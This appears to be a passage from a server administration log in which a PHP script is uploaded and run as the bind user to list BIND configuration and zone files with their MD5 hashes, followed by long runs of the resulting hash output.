MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 15:48:11: Establishing a connection
2026-04-24 15:48:11: 

PUT: /tmp/pkp463868

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 15:48:11: 

runuser -l bind -s /bin/bash -c '/tmp/pkp463868; rm /tmp/pkp463868'

2026-04-24 15:48:11: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 16:02:41: Establishing a connection
2026-04-24 16:02:41: 

PUT: /tmp/pkp176503

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 16:02:42: 

runuser -l bind -s /bin/bash -c '/tmp/pkp176503; rm /tmp/pkp176503'

2026-04-24 16:02:42: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
